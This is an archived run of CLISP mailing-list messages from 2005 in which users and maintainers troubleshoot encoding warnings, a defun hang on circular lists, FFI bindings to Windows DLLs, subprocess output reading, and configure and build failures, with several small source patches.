> E:\clisp-2.33.2\src>e:\clisp-2.33.2\full\lisp.exe -M e:\clisp-2.33.2\full\lispin
> it.mem -B e:\clisp-2.33.2\full\
> WARNING: locale: no encoding GBK, using UTF-8
> WARNING: *TERMINAL-ENCODING*: no encoding CP936, using UTF-8
> WARNING: *FOREIGN-ENCODING*: reset to ASCII

>.....

> *** - invalid byte sequence #xD7 #xC0 in CHARSET:UTF-8 conversion
> Break 2 [8]>

I think this is a mismatch between the encoding your windows console
uses and the one CLISP is using.

(apropos "" "CHARSET") should print all available encodings.

I suggest that you tell windows to use utf-8 for all encodings
or run clisp with the option "-E".

please see also
<http://clisp.cons.org/faq.html#enc-err>
<http://clisp.cons.org/clisp.html#opt-enc>


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Lin Jingxian writes:
>   every time I run clisp, I got the following output,
> WARNING: locale: no encoding GBK, using UTF-8
> WARNING: *TERMINAL-ENCODING*: no encoding CP936, using UTF-8
> WARNING: *FOREIGN-ENCODING*: reset to ASCII
> [...]
> *** - invalid byte sequence #xD7 #xC0 in CHARSET:UTF-8 conversion
> 
> clisp give out warning and break, how should I do to make it run normally?

Choose a locale for which there's an encoding in clisp.  On a posix
system this is done setting the various LC_* environment variables.
For example, you could set:

LC_ALL=en_IE.utf8
export LC_ALL

to let your applications work with unicode encoded in UTF-8.


Or perhaps, compile clisp enabling the encodings you need.  Here in my
clisp-2.33.83, there is a CP936:

[15]> (lspack :charset :exports)

CHARSET
   Symbols:       117 exported, 117 total.
   Exported:      ARMSCII-8 ASCII BIG5 BIG5-HKSCS CP1133 CP1250 CP1251 
                  CP1252 CP1253 CP1254 CP1255 CP1256 CP1257 CP1258 
                  CP437 CP437-IBM CP737 CP775 CP850 CP852 CP852-IBM 
                  CP855 CP857 CP860 CP860-IBM CP861 CP861-IBM CP862 
                  CP862-IBM CP863 CP863-IBM CP864 CP864-IBM CP865 
                  CP865-IBM CP866 CP869 CP869-IBM CP874 CP874-IBM CP932 
                  CP936 CP949 CP950 EUC-CN EUC-JP EUC-KR EUC-TW GB18030 
                  GBK GEORGIAN-ACADEMY GEORGIAN-PS HP-ROMAN8 
                  ISO-2022-CN ISO-2022-CN-EXT ISO-2022-JP ISO-2022-JP-2 
                  ISO-2022-KR ISO-8859-1 ISO-8859-10 ISO-8859-13 
                  ISO-8859-14 ISO-8859-15 ISO-8859-16 ISO-8859-2 
                  ISO-8859-3 ISO-8859-4 ISO-8859-5 ISO-8859-6 
                  ISO-8859-7 ISO-8859-8 ISO-8859-9 JAVA JIS_X0201 JOHAB 
                  KOI8-R KOI8-U MAC-ARABIC MAC-CENTRAL-EUROPE 
                  MAC-CROATIAN MAC-CYRILLIC MAC-DINGBAT MAC-GREEK 
                  MAC-HEBREW MAC-ICELAND MAC-ROMAN MAC-ROMANIA 
                  MAC-SYMBOL MAC-THAI MAC-TURKISH MAC-UKRAINE MACINTOSH 
                  NEXTSTEP SHIFT-JIS TCVN TIS-620 UCS-2 UCS-4 
                  UNICODE-16 UNICODE-16-BIG-ENDIAN 
                  UNICODE-16-LITTLE-ENDIAN UNICODE-32 
                  UNICODE-32-BIG-ENDIAN UNICODE-32-LITTLE-ENDIAN UTF-16 
                  UTF-7 UTF-8 VISCII WINDOWS-1250 WINDOWS-1251 
                  WINDOWS-1252 WINDOWS-1253 WINDOWS-1254 WINDOWS-1255 
                  WINDOWS-1256 WINDOWS-1257 WINDOWS-1258


You can  also tell clisp which encoding to use, (but then be sure not
to send it badly encoded byte sequence as you're doing right now,
sending a sequence of two bytes: #xD7 #xC0, which is invalid UTF-8),
using the -E option:

LC_ALL=en_IE.utf8
clisp ... -E UTF-8

LC_ALL=C
clisp ... -E ASCII 

etc...

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$ clisp
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002


[1]> (progn
(defun clisp-bug () '(one two three . #1=(many . #1#)))
(setq a (clisp-bug))
(subseq a 0 7))
  C-c C-z
[1]+  Stopped                 clisp
$ top
...
  PID USERNAME      PRI NICE  SIZE    RES STATE  C   TIME   WCPU    CPU COMMAND
80908 devon          57   0  5132K  3188K STOP   1  15:52 73.00% 73.00% lisp.ru
...
$ %
clisp

*** - Ctrl-C: User break
1. Break [2]> a

*** - EVAL: variable A has no value
2. Break [3]> (setq a '(one two three . #1=(many . #1#)) b nil)
NIL
2. Break [3]> (subseq a 0 7)
(ONE TWO THREE MANY MANY MANY MANY)
2. Break [3]> (quit)
Bye.

$ lisp
CMU Common Lisp 18c, running on grant.org
Send questions and bug reports to your local CMU CL maintainer, 
or to cmucl-help@cons.org. and cmucl-imp@cons.org. respectively.
Loaded subsystems:
    Python 1.0, target Intel x86
    CLOS based on PCL version:  September 16 92 PCL (f)
* (progn
(defun clisp-bug () '(one two three . #1=(many . #1#)))
(setq a (clisp-bug))
(subseq a 0 7))
Warning:  Declaring A special.

(ONE TWO THREE MANY MANY MANY MANY)
* (quit)


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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-06-28 15:58:29 -0400]:
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Defun still hangs.

[1]> (setq *print-circle* t)
T
[2]> (defun clisp-bug () '(one two three . #1=(many . #1#)))

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-06-28 15:58:29 -0400]:
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> *  <Qriba@Wbiv.Arg> [2005-06-28 16:39:13 -0400]:
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> Defun still hangs.

indeed.
please try the appended patch.
thanks for your bug report.

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--- init.lisp	21 Jun 2005 09:40:12 -0400	1.235
+++ init.lisp	28 Jun 2005 17:29:21 -0400	
@@ -1290,6 +1290,7 @@
       (let ((form (car body)))
         (if ; determine, if form contains a (RETURN-FROM name ...) :
          (and (consp form)
+              (not (eq (first form) 'quote))
               (or (and (eq (first form) 'return-from) ; (RETURN-FROM name ...)
                        (eq (second form) name))
                   (and (consp (first form))           ; lambda-list


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Patch works great, wow you're fast!

[1]> (defun clisp-bug () '(one two three . #1=(many . #1#)))
CLISP-BUG
[2]> (subseq (clisp-bug) 0 7)
(ONE TWO THREE MANY MANY MANY MANY)
[3]> (quit)

		Peace
			--Devon

PS: Any chance to fix install on systems with no readline?
I can't tell if it's config or makemake or what
but MacOS simply fails, I have to run it by
$ clisp -B /usr/local/lib/clisp -M ~/CLISP/clisp-2.33.2/try-to-disable-readline-and-sigsegv/lispinit.mem
because installation croaks.


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Hi,
>
>> (def-c-var gdMaxColors (:type int))
>>But it seems I have to refer to the dll somehow while creating this variable.
> a) Indeed, you need to add (:library "gd...dll") here.

Thanks.
>
> b) "Incomplete FFI type INT is not allowed here."
>   Did you get past that error? It looks like a package problem.
>   Maybe (not (eq 'int 'ffi:int)) ?
>   The above error is equal to "unknown FFI type `INT'", which is surprising,
> since the FFI knows about ffi:int.
Yes, I did. I think it was throwing a wrong error.

>
> Since you're trying and using GD, do you know about Carlos Ungil's port of cl-gd to CLISP (i.e. using the CLISP FFI instead of UFFI)? (I've never tried it myself, so I don't know whether this only works on UNIX).
>
Thanks. The reason why I am doing this is because I want to learn how to use
ffi, also his port doesn't contains the functions which I want.

>>  (:return-type (ffi:c-ptr gdImage))
> This is likely wrong. Please use either (c-pointer gdImage) or c-pointer. It's unlikely that you want to convert the foreign pointer to a Lisp structure, which is what C-PTR does. I'd bet you need to keep the original pointer, so as to be able to pass this handle (aka. proxy or reference) to other gd functions.

The problem here is that I am using clisp 2.33.1 and it does not have
c-pointer, I don't think that even 2.33.2 does. I would like to use a much
more current version of clisp but I don't have VC++ to compile it (and believe
me there beta version which they give for free, is the worst IDE/compiler, half of the
things do not work, installation takes huge amount of time, I could not find
assembler). 

Also, is there any tool utility which can show me the mangled names in the dll?


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Hi,
>
> o The ilbrary does not seem to contain gdImageCreate but rather gdImageCreate@8.
> I.e. stdcall seems to cause some name mangling, adding the number of bytes passed on the stack to the name.
>
> o def-call-out does not accept (:name "foo@8")
> ERROR "The name "gdImageCreate@8" is not a valid C identifier"
> but the lower-level functions do. Use macroexpand to see which I mean

I would suggest that @ should be accepted in identifier names.

>
> The most important line is (using :stdc-stdcall).
> (SYSTEM::%PUTD 'GD-IMAGE-CREATE
>    (FFI::FOREIGN-LIBRARY-FUNCTION '"gdImageCreate@8" ; added @8 by hand
>     (FFI::FOREIGN-LIBRARY "bgd.dll") NIL
>     #(C-FUNCTION C-POINTER #(INT 0 INT 0) 33792)))

I tried doing macroexpand on 
(macroexpand
 '(def-call-out gdImageCreateFromPng
    (:name "gdImageCreateFromPng")
    (:library "bgd.dll")
    (:language :STDC-STDCALL)
    (:arguments (c-ptr ffi:char))
    (:return-type (c-ptr gdImage))))

but when I am using clisp and slime, it just hangs, and on the console it
gives me the error 

*** - Invalid option in
(DEF-CALL-OUT GDIMAGECREATEFROMPNG (:NAME "gdImageCreateFromPng")
 (:LIBRARY "bgd.dll") (:LANGUAGE :STDC-STDCALL) (:ARGUMENTS (C-PTR CHAR)) L
 (:RETURN-TYPE (C-PTR GDIMAGE))): L

Which I don't understand.

Also this particular function takes FILE* as an argument, how do I define that
in clisp?

Thanks.
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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-06-29 00:10:59 -0700]:
>
> I would like to use a much more current version of clisp but I don't
> have VC++ to compile it

get cygwin and do
$ CC="gcc -mno-cygwin" ./configure ...
to get a pure w32 clisp build.

or just get
<http://www.podval.org/~sds/clisp/clisp-2.33.83-win32.zip>


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Date: Wed Jun 29 06:36:03 2005
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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-06-28 20:36:25 -0400]:
>
> Patch works great, wow you're fast!

good!
thanks for testing the patch!

> PS: Any chance to fix install on systems with no readline?
> I can't tell if it's config or makemake or what
> but MacOS simply fails, I have to run it by
> $ clisp -B /usr/local/lib/clisp -M ~/CLISP/clisp-2.33.2/try-to-disable-readline-and-sigsegv/lispinit.mem
> because installation croaks.

1. sigsegv is crucial for generational GC. it pays to ensure that it
   works.

2. if your readline is broken but configure does not detect that, you
   should run the top-level configure like this:
   $ ./configure --with-noreadline --build build-no-readline

3. it would be very nice if you could figure out _why_ configure does
   not detect that readline is broken. see <src/m4/readline.m4>.
   Specifically, you wrote:
undefined symbols in streams.c
	rl_basic_quote_characters
	rl_gnu_readline_p
undefined symbols at link time
	_META
	_history_list
	_rl_basic_quote_characters
	_rl_gnu_readline_p
	_rl_named_function
	_rl_refresh_line
	_rl_variable_bind
   could you please look at your readline and see what its version is?
   maybe you have several readline installations?
   (the broken one that comes with MacOS and a newer one that comes with
   the development tools)

PS. Please make sure that your mailer respects "Reply-to:" and
    "Mail-Copies-To:" headers.
    Thanks.

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Hello you all,

I know that this is a stupid question, but I am new to clisp and emacs.
How can I stop the execution when , i.e., I am in a infinite loop?

I'm working on windows2000 and ctrl-g isn't working.

Thanx in advance


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> * Daniele Innocenti <qnavryr.vaabpragv@tznvy.pbz> [2005-06-30 15:13:25 +0200]:
>
> I know that this is a stupid question, but I am new to clisp and emacs.
> How can I stop the execution when , i.e., I am in a infinite loop?
>
> I'm working on windows2000 and ctrl-g isn't working.

C-c C-c in the *inferior-lisp* buffer will send an interrupt to the lisp
process.

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Date: Fri Jul  1 00:22:40 2005
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Thx a lot

Daniele

2005/6/30, Sam Steingold <sds@gnu.org>:
> > * Daniele Innocenti <qnavryr.vaabpragv@tznvy.pbz> [2005-06-30 15:13:25 =
+0200]:
> >
> > I know that this is a stupid question, but I am new to clisp and emacs.
> > How can I stop the execution when , i.e., I am in a infinite loop?
> >
> > I'm working on windows2000 and ctrl-g isn't working.
>=20
> C-c C-c in the *inferior-lisp* buffer will send an interrupt to the lisp
> process.
>=20
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Edit Weitz wrote in the UFFI-Users mailing list:
>> Concretely, for cl-gd, the bgd.dll from Boutell does not contain
>> "gdImageCreate", but rather "gdImageCreate@8".
>There was a discussion of this problem on the LispWorks mailing list
>some months ago.  You might want to search Gmane.
>Also, note that in this particular case there's a binary version of
>the DLL available from my website which should work with CL-GD on
>Windows.
People may be interested in this version instead.
http://weitz.de/cl-gd/

Regards,
	Jorg Hohle.


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Date: Fri Jul  1 07:25:05 2005
X-Original-Date: Fri, 01 Jul 2005 10:19:47 -0400

Dan,

>    I need to build the latest CLISP for an ARM PXA 255 (running Linux).
>    I'm aware of the CLISP/MAXSIMA
> (http://web.njit.edu/~rxt1077/clisp-maxima-zaurus.html#MAXIMA-BUILD) and
> have that
> image running on the processor, but I need to build the latest CLISP.  I
> would also need to use an x86
> cross-compilation toolchain (unlike the MAXSIMA effort).
>
>    Any advice/shortcuts on this would be appreciated (or if you know
> Any advice/shortcuts on this would be appreciated (or if you know
> someone who is running CLISP natively on ARM-LINUX who might have the
> latest binaries to share!).

the debian page mentions arm
http://packages.debian.org/unstable/interpreters/clisp.html
Will Newton is extremely knowledgeable, I am sure he can help.
please keep the CC to clisp-list so that this information is preserved
for posterity.


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Date: Sun Jul  3 01:31:16 2005
X-Original-Date: Sun, 03 Jul 2005 01:28:38 -0700

Hello,
  Thanks for answering my earlier questions and providing the link to the
latest window binaries of clisp, they were really useful.

This time I am trying to use the bzip2 library available from
http://www.bzip.org/downloads.html

Corresponding to the following function in the dll, 

int BZ2_bzBuffToBuffCompress( char*         dest,
                              unsigned int* destLen,
                              char*         source,
                              unsigned int  sourceLen,
                              int           blockSize100k,
                              int           verbosity,
                              int           workFactor );

Note: The user is supposed to allocate space for the destination buffer, and
pass the length in destLen, notice it is char* dest.

I have defined 

(ffi:def-call-out BZ2_bz-Buff-To-Buff-compress
    (:name "BZ2_bzBuffToBuffCompress")
  (:arguments (dest (FFI:C-PTR (FFI:C-ARRAY-MAX ffi:uint8 100))
                    :OUT :ALLOCA) 
	      (dest-len (ffi:c-ptr ffi:uint) :In-out)
	      (src ffi:c-string)
	      (src-len ffi:uint)
	      (blockSize100k  ffi:int)
	      (verbosity ffi:int)
	      (workFactor ffi:uint))
  (:return-type ffi:int)
  (:library +bzip2-dll+))


(defun compress(str)
   (BZ2_BZ-BUFF-TO-BUFF-COMPRESS 100 str (length str) 1 0 0))

Now, when I call the above function, say (compress "huge")

I get the values
0
#(66 90 104 49 49 65 89 38 83 89 65 175 130 13)
42


The problem here is that 42 indicates that the compressed data has length of
42 bytes(chars), but the output buffers contain only 14 bytes. The 15th byte
in the output is #x00, is that causing the output to be truncated?

Am I making some mistake here or is it some other problem (either with clisp
or the dll)?

Thanks for your time.
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Date: Sun Jul  3 01:36:06 2005
X-Original-Date: Sun, 03 Jul 2005 01:33:43 -0700

André Vargas Abs da Cruz <andrev@ele.puc-rio.br> writes:

> Changing the subject a bit, does anyone know if is there any work
> going on towards writing a kind of wrapper to the wxWidgets library ?! 
> I can think of a few good reasons to write a 'wxClisp wrapper'
> (similar to wxPython):
>
> Maybe I could start doing something like this (although I am a lisp
> newbie) if someone demonstrates interest in using it.
>
I am sure, there will be lot of people interested in using it.
If I remember correctly, it was on the TODO list for clisp.

Cheers.

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Date: Mon Jul  4 03:38:32 2005
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Surendra,

please search the mailing list archives for keywords "FFI variable =
length array".

You're very close to the correct solution and just need to realize that =
C-ARRAY-MAX will stop as soon as it sees a 0 byte. Therefore it's =
unuseable with compression functions or read().

You need to either SUBSEQ or CAST/OFFSET to extract the subsequence out =
of the larger array or storage area.

In the archives, you'll find constructs like
  (with-c-var (dest `(c-array foo ,size))
    call&check status
    (offset dest 0 `(c-array foo ,actual-length)))
or the more or less equivalent
  (with-foreign-object (dest ...
    call&check status
    (foreign-variable dest (parse-c-type `(c-array foo =
,actual-length))))

If you explore several paths to the solution, please report timings.

Regards,
	J=F6rg H=F6hle.


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Date: Mon Jul  4 08:07:45 2005
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I have been looking, what support does lisp provide for connecting to
databases, like mysql.  Web services like xml-rpc and can it meet the
needs of being multi threaded applications.  I have been reading a lot
about lisp,  and want to use it commerically but is the infrastructure
there?  Does any one have any experience with matters like these that
could give me some advice?

Steve


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Date: Mon Jul  4 12:46:10 2005
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steve morin writes:
> I have been looking, what support does lisp provide for connecting to
> databases, like mysql.  Web services like xml-rpc and can it meet the
> needs of being multi threaded applications.  I have been reading a lot
> about lisp,  and want to use it commerically but is the infrastructure
> there?  Does any one have any experience with matters like these that
> could give me some advice?

You seem to be asking a general Common Lisp question.  Better ask it
on news:comp.lang.lisp ; here, we're more concerned with a specific
implementation of Common Lisp named clisp.

You might check http://www.cliki.net/ too.


pg (Postgresql) works well with clisp.  I've not used other DB API
yet, either with clisp or another implementation.

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Hi!

I can request to see my code in this mail list? The ruthless criticism
interests only :)

Or with it in comp.lang.lisp?

(Silence - a sign on refusal)

Thanks.

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Yaroslav Kavenchuk <kavenchuk@jenty.by> writes:

> I can request to see my code in this mail list? The ruthless criticism
> interests only :)
>
> Or with it in comp.lang.lisp?

Comp.lang.lisp is more appropriate and has a wider audience.


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Date: Tue Jul  5 04:25:13 2005
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Yaroslav Kavenchuk writes:
> I can request to see my code in this mail list? The ruthless criticism
> interests only :)
> 
> Or with it in comp.lang.lisp?

Unless it's heavily clisp specific, you'd probably get a wider
audience on comp.lang.lisp.



(If it's big enough (eg. more than 500 lines), you'd better post the
URL of the archive rather than include the whole source in your post.)


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clisp from CVS head, mingw

step by step:

CL-USER> (setq out-str
           (run-shell-command "cmd /c \"dir C:\\CL\"" :output :stream))
#<INPUT BUFFERED PIPE-INPUT-STREAM CHARACTER 2044>
CL-USER> (setf (STREAM-EXTERNAL-FORMAT out-str) custom:*terminal-encoding*)
#<ENCODING CHARSET:CP866 :DOS>
CL-USER> (loop while (listen out-str) do
	   (print (read-line out-str nil)))

" Том в у�трой�тве C не имеет метки."
" Серийный номер тома: 4C22-B660"
""
" Содержимое папки C:\\CL"
""
"08.04.2005  11:41       <DIR>          ."
"08.04.2005  11:41       <DIR>          .."
"16.06.2005  12:10       <DIR>          doc"
"01.07.2005  15:52       <DIR>          lib"
"               0 файлов              0 байт"
"               4 папок  71,569,321,984 байт �вободно"
NIL
CL-USER>

and one command:

CL-USER> (let ((out-str
                 (run-shell-command "dir C:\\CL" :output :stream)))
	   (setf (STREAM-EXTERNAL-FORMAT out-str)
                                         custom:*terminal-encoding*)
	   (loop while (listen out-str) do
		(print (read-line out-str nil))))
NIL
CL-USER>

Where a output?

Thanks.

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Pascal Bourguignon writes:

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>>interests only :)
>>
>>Or with it in comp.lang.lisp?
> 
> 
> Unless it's heavily clisp specific, you'd probably get a wider
> audience on comp.lang.lisp.
> 
> 
> 
> (If it's big enough (eg. more than 500 lines), you'd better post the
> URL of the archive rather than include the whole source in your post.)

It is really heavily clisp specific: FFI interface to Tcl/Tk.
README:
   http://kavenchuk.at.tut.by/cltk/README
source:
   http://kavenchuk.at.tut.by/cltk/cltk.lisp
zip-archive of source and small examples:
   http://kavenchuk.at.tut.by/cltk/cltk.zip

Thanks! I go to comp.lang.lisp :)

-- 
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-07-05 16:02:17 +0300]:
>
> clisp from CVS head, mingw
>
> step by step:
>
> CL-USER> (setq out-str
>            (run-shell-command "cmd /c \"dir C:\\CL\"" :output :stream))
> #<INPUT BUFFERED PIPE-INPUT-STREAM CHARACTER 2044>
> CL-USER> (setf (STREAM-EXTERNAL-FORMAT out-str) custom:*terminal-encoding=
*)
> #<ENCODING CHARSET:CP866 :DOS>
> CL-USER> (loop while (listen out-str) do
> 	   (print (read-line out-str nil)))
>
> " =D0=A2=D0=BE=D0=BC =D0=B2 =D1=83=D1=81=D1=82=D1=80=D0=BE=D0=B9=D1=81=D1=
=82=D0=B2=D0=B5 C =D0=BD=D0=B5 =D0=B8=D0=BC=D0=B5=D0=B5=D1=82 =D0=BC=D0=B5=
=D1=82=D0=BA=D0=B8."
> " =D0=A1=D0=B5=D1=80=D0=B8=D0=B9=D0=BD=D1=8B=D0=B9 =D0=BD=D0=BE=D0=BC=D0=
=B5=D1=80 =D1=82=D0=BE=D0=BC=D0=B0: 4C22-B660"
> ""
> " =D0=A1=D0=BE=D0=B4=D0=B5=D1=80=D0=B6=D0=B8=D0=BC=D0=BE=D0=B5 =D0=BF=D0=
=B0=D0=BF=D0=BA=D0=B8 C:\\CL"
> ""
> "08.04.2005  11:41       <DIR>          ."
> "08.04.2005  11:41       <DIR>          .."
> "16.06.2005  12:10       <DIR>          doc"
> "01.07.2005  15:52       <DIR>          lib"
> "               0 =D1=84=D0=B0=D0=B9=D0=BB=D0=BE=D0=B2              0 =D0=
=B1=D0=B0=D0=B9=D1=82"
> "               4 =D0=BF=D0=B0=D0=BF=D0=BE=D0=BA  71,569,321,984 =D0=B1=
=D0=B0=D0=B9=D1=82 =D1=81=D0=B2=D0=BE=D0=B1=D0=BE=D0=B4=D0=BD=D0=BE"
> NIL
> CL-USER>
>
> and one command:
>
> CL-USER> (let ((out-str
>                  (run-shell-command "dir C:\\CL" :output :stream)))
> 	   (setf (STREAM-EXTERNAL-FORMAT out-str)
>                                          custom:*terminal-encoding*)
> 	   (loop while (listen out-str) do
> 		(print (read-line out-str nil))))
> NIL
> CL-USER>
>
> Where a output?

you reach LISTEN too fast - before any input arrives.
try

(let ((out-str (run-shell-command "dir C:\\CL" :output :stream)))
  (setf (STREAM-EXTERNAL-FORMAT out-str) custom:*terminal-encoding*)
  (print (read-line out-str nil))
  (loop while (listen out-str) do (print (read-line out-str nil))))

Actually, LISTEN is not the right function to get all the output.
(suppose the subprocess will stall: e.g., dir will wait for information
about the network drive for a long time).

You want to read until EOF, so just do this:

  (loop for s =3D (read-line out-str nil nil) while s do (print s))

--=20
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Sam Steingold:

<skip>
> You want to read until EOF, so just do this:
> 
>   (loop for s = (read-line out-str nil nil) while s do (print s))
> 
MANY THANKS!

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I get this error when trying to build this snapshot on Linux:

will@blackdog:~/src/clisp-2.33.83$ ./configure
executing /home/will/src/clisp-2.33.83/src/configure --cache-file=config.cache
configure: creating cache config.cache
configure: line 1340: ./../version.sh: No such file or directory

Is there some kind of Makefile.devel trickery that generates this file?


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>I get this error when trying to build this snapshot on Linux:
>
>will@blackdog:~/src/clisp-2.33.83$ ./configure
>executing /home/will/src/clisp-2.33.83/src/configure --cache-file=config.cache
>configure: creating cache config.cache
>configure: line 1340: ./../version.sh: No such file or directory
>
>Is there some kind of Makefile.devel trickery that generates this file?
>  
>
Will,

I just ran a fresh CVS-based install on FC4/x86 without issue.  The 
version.sh file
(at the top level) was created by the CVS checkout and contained the 
following 3 lines:

# Version number and release date.
VERSION_NUMBER=2.33.83
RELEASE_DATE=2005-03-14      # in "date +%Y-%m-%d" format

I followed the simple instructions:

./configure x86
cd x86
./makemake --with-dynamic-ffi    > Makefile
make config.lisp
make
...






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On Wednesday 06 July 2005 15:47, Dan Corkill wrote:
> >I get this error when trying to build this snapshot on Linux:
> >
> >will@blackdog:~/src/clisp-2.33.83$ ./configure
> >executing /home/will/src/clisp-2.33.83/src/configure
> > --cache-file=config.cache configure: creating cache config.cache
> >configure: line 1340: ./../version.sh: No such file or directory
> >
> >Is there some kind of Makefile.devel trickery that generates this file?
>
> Will,
>
> I just ran a fresh CVS-based install on FC4/x86 without issue.  The
> version.sh file
> (at the top level) was created by the CVS checkout and contained the
> following 3 lines:
>
> # Version number and release date.
> VERSION_NUMBER=2.33.83
> RELEASE_DATE=2005-03-14      # in "date +%Y-%m-%d" format
>
> I followed the simple instructions:
>
> ./configure x86
> cd x86
> ./makemake --with-dynamic-ffi    > Makefile
> make config.lisp
> make
> ...

Today's CVS does work, but the build fails trying to build the regexp module:

if test -f regexp/configure -a '!' -f regexp/config.status ; then cd regexp ; 
(cache=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f 
${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then 
CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} 
--with-dynamic-ffi --with-dynamic-ffi; else ./configure --with-dynamic-ffi 
--with-dynamic-ffi; fi ) ; fi
configure: loading cache ../config.cache
configure: error: cannot find install-sh or install.sh 
in ../../src/build-aux ./../../src/build-aux
make[1]: *** [regexp] Error 1

../../src/build-aux contains install-sh if you are building inside the clisp 
tree, if you use a different build directory it most probably doesn't.


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> * Will Newton <jvyy@zvfpbaprcgvba.bet.hx> [2005-07-06 14:51:14 +0100]:
>
> will@blackdog:~/src/clisp-2.33.83$ ./configure
> executing /home/will/src/clisp-2.33.83/src/configure --cache-file=config.cache
> configure: creating cache config.cache
> configure: line 1340: ./../version.sh: No such file or directory

please try
<http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2>

> Is there some kind of Makefile.devel trickery that generates this file?

no, you should not need this file in the distribution.

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> * Will Newton <jvyy@zvfpbaprcgvba.bet.hx> [2005-07-06 17:00:56 +0100]:
>
> Today's CVS does work, but the build fails trying to build the regexp module:
>
> if test -f regexp/configure -a '!' -f regexp/config.status ; then cd regexp ; 
> (cache=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; if test -f 
> ${cache} ; then . ${cache}; if test "${ac_cv_env_CC_set}" = set; then 
> CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure --cache-file=${cache} 
> --with-dynamic-ffi --with-dynamic-ffi; else ./configure --with-dynamic-ffi 
> --with-dynamic-ffi; fi ) ; fi
> configure: loading cache ../config.cache
> configure: error: cannot find install-sh or install.sh 
> in ../../src/build-aux ./../../src/build-aux
> make[1]: *** [regexp] Error 1
>
> ../../src/build-aux contains install-sh if you are building inside the
> clisp tree, if you use a different build directory it most probably
> doesn't.

configure looks in:

for ac_dir in ../../src/build-aux $srcdir/../../src/build-aux; do
...

so this should be fine.

what are your configure options?


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On Wednesday 06 July 2005 18:02, Sam Steingold wrote:
> > * Will Newton <jvyy@zvfpbaprcgvba.bet.hx> [2005-07-06 17:00:56 +0100]:
> >
> > Today's CVS does work, but the build fails trying to build the regexp
> > module:
> >
> > if test -f regexp/configure -a '!' -f regexp/config.status ; then cd
> > regexp ; (cache=`echo regexp/ | sed -e
> > 's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then .
> > ${cache}; if test "${ac_cv_env_CC_set}" = set; then
> > CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure
> > --cache-file=${cache} --with-dynamic-ffi --with-dynamic-ffi; else
> > ./configure --with-dynamic-ffi --with-dynamic-ffi; fi ) ; fi
> > configure: loading cache ../config.cache
> > configure: error: cannot find install-sh or install.sh
> > in ../../src/build-aux ./../../src/build-aux
> > make[1]: *** [regexp] Error 1
> >
> > ../../src/build-aux contains install-sh if you are building inside the
> > clisp tree, if you use a different build directory it most probably
> > doesn't.
>
> configure looks in:
>
> for ac_dir in ../../src/build-aux $srcdir/../../src/build-aux; do
> ...
>
> so this should be fine.
>
> what are your configure options?

./configure --build debian/build --prefix=/usr --fsstnd=debian \
        --with-dynamic-ffi --with-module=bindings/glibc 
--with-module=clx/new-clx --with-module=syscalls

srcdir expands to ., and at that point we are currently in 
debian/build/regexp. I tried passing --srcdir to toplevel configure, but it 
doesn't get passed to the regexp module configure.


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On Wednesday 06 July 2005 18:01, Sam Steingold wrote:
> > * Will Newton <jvyy@zvfpbaprcgvba.bet.hx> [2005-07-06 14:51:14 +0100]:
> >
> > will@blackdog:~/src/clisp-2.33.83$ ./configure
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> > --cache-file=config.cache configure: creating cache config.cache
> > configure: line 1340: ./../version.sh: No such file or directory
>
> please try
> <http://www.podval.org/~sds/clisp/clisp-2.33.84.tar.bz2>

This version has fixed the problem. The build still fails with the regexp 
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> * Will Newton <jvyy@zvfpbaprcgvba.bet.hx> [2005-07-06 18:11:07 +0100]:
>
>> what are your configure options?
>
> ./configure --build debian/build --prefix=/usr --fsstnd=debian \
>         --with-dynamic-ffi --with-module=bindings/glibc 
> --with-module=clx/new-clx --with-module=syscalls

--with-module=syscalls is not needed.
see BASE_MODULES in Makefile.
<http://www.podval.org/~sds/clisp/impnotes/modules.html#base-modules>

> srcdir expands to ., and at that point we are currently in
> debian/build/regexp. I tried passing --srcdir to toplevel configure,
> but it doesn't get passed to the regexp module configure.

oops...
please try the appended patches.
you should _not_ need to pass --srcdir.

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--- configure	06 Jul 2005 14:05:28 -0400	1.85
+++ configure	06 Jul 2005 14:17:09 -0400	
@@ -429,7 +429,7 @@
 
 abs_path_pwd () { cd "$1" > /dev/null; ${ABSPATHPWD}; }
 
-maybe_mkdir() { test -d "$1" || mkdir "$1"; }
+maybe_mkdir() { test -d "$1" || mkdir -p "$1"; }
 
 INPLACE=''
 if test -n "$srcdir" ; then
@@ -608,7 +608,7 @@
   fi
 fi
 
-makemake_args="${makemake_args} ${target} ${debug}";
+makemake_args="${makemake_args} ${subdir_srcdir_args} ${target} ${debug}";
 
 . ${ABS_DIRNAME}/config.cache
 cat <<EOF
--- makemake.in	06 Jul 2005 13:18:46 -0400	1.568
+++ makemake.in	06 Jul 2005 14:30:05 -0400	
@@ -276,6 +276,7 @@
       shift
       ;;
     -srcdir* | --srcdir*)
+      module_configure_flags="$module_configure_flags $1"
       srcdir=`echol "$1" | sed 's/-*srcdir=*//'`
       shift
       if test -z "$srcdir" ; then


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On Wednesday 06 July 2005 19:35, Sam Steingold wrote:

> --with-module=syscalls is not needed.
> see BASE_MODULES in Makefile.
